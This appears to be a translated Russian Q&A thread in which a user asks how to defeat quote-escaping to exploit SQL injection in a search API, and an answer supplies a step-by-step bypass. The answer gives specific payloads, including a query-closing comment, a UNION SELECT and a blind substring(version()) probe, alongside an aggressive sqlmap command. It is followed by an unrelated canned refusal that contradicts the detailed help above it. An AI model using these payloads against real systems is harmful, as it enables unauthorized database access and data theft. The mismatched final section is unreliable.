Вопрос или проблема
Мне нужна помощь с SQL-инъекцией в API.
Веб-сервер IIS 8.5
GET-запрос выглядит так:
...
https://example.com/api/Search?q=Landing
Ответ выглядит так:
HTTP/1.1 200 OK
...
[{"pageId":1,"pageName":"Landing Page"}]
SQL-запрос, куда я пытался сделать инъекцию при отправке обычного запроса, выглядит так:
... LIKE '%Lending%' ...
Теперь, когда я создаю запрос вроде этого:
...
https://example.com/api/Search?q=Landing\'
Ответ выглядит так:
HTTP/1.1 500 Internal Server Error
...
["exceptionMessage":"У вас ошибка в синтаксисе SQL; проверьте руководство, соответствующее вашей версии MySQL, для правильного синтаксиса, чтобы использовать около '%') OR (`Extent1`.`Name` LIKE '%Landing\\''%')) OR (`Extent1`.`TabContent` LIKE '%' на линии 80",]
Ответ с кодом ошибки 500, и кажется, что их механизм защиты дублирует символы \ и ‘.
Теперь, когда я запускаю SQLmap, он не может выполнить инъекцию:
python .\sqlmap.py -r .\request.txt --threads=10 --random-agent --level=5 --risk=3 --dbms=mysql --banner --time-sec 10 --tamper=escapequotes --ignore-code=500 -v2 -p q
....
[INFO] эвристический (базовый) тест показывает, что GET-параметр 'q' может быть инъекционным (возможный DBMS: 'MySQL')
....
[WARNING] GET-параметр 'q' не кажется инъекционным
Я использую скрипт для подмены из-за ‘(Slash escape single and double quotes (e.g. ' -> \'))
И запрос вроде этого:
https://example.com/api/Search?q=Landing\\'
Возвращает этот ответ:
HTTP/1.1 200 OK
...
[]
Также
Запрос вроде этого:
https://example.com/api/Search?q=Landing\\''
Возвращает этот ответ:
HTTP/1.1 200 OK
...
[]
Также
Запрос с одинарной кавычкой возвращает ноль.
https://example.com/api/Search?q=Landing'
Возвращает этот ответ:
HTTP/1.1 200 OK
...
[]
Как обойти эту защиту и успешно выполнить SQL-инъекцию?
Смотря на ваши примерные запросы, похоже, что приложение экранирует '
, но не экранирует \
. Это означает, что вы можете инъектировать '
, чтобы выйти из контекста строки (через \'
), но не можете использовать '
в остальной части вашей инъекции (даже если экранировать через \'
; что создает проблемы для sqlmap, так что я бы предложил ручную эксплуатацию).
У вас это:
' -> \' <- без ошибки, строка правильно экранирована
\' -> \\' <- \ экранируется \, поэтому ' выходит из контекста строки, вызывая ошибку
\\' -> \\\' <- \ экранируется \, ' экранируется \, поэтому без ошибки
Что я бы сделал первым, так это исправил бы запрос. Что-то вроде Landing\'))--x-
(вам, возможно, нужно будет настроить количество закрывающих скобок, я исходил из сообщения об ошибке). Это снова должно дать вам 200 и некоторые результаты.
После исправления запроса вы теперь можете инъектировать нужный вам запрос. Landing\')) union select 1 --x-
может сработать (альтернатива была бы слепая инъекция, например Landing\')) and substring(version(),1,1)=5--x-
(или эквивалент mssql)).
Я предполагаю, что sqlmap сталкивается с проблемами, потому что вы не можете использовать '
в вашей инъекции (за исключением начального \'
для экранирования существующего контекста строки). Представьте, например, инъекцию в SELECT 1 FROM table WHERE id LIKE '%[userinput]%'
. Инъекция \'--x-
работает, так как она дает SELECT 1 FROM table WHERE id LIKE '%\\'--x-%'
(что затем выполняется как SELECT 1 FROM table WHERE id LIKE '%\'
в базе данных). Но инъекция \' and x = \'test
не сработает, так как это приведет к SELECT 1 FROM table WHERE id LIKE '\\' and x = \\'test'
(что выполняется как SELECT 1 FROM table WHERE id LIKE '\' and x = \'test'
в базе данных, что является недопустимым из-за дополнительного \
перед 'test'
).
Ответ или решение
Извините, но я не могу помочь с этой просьбой.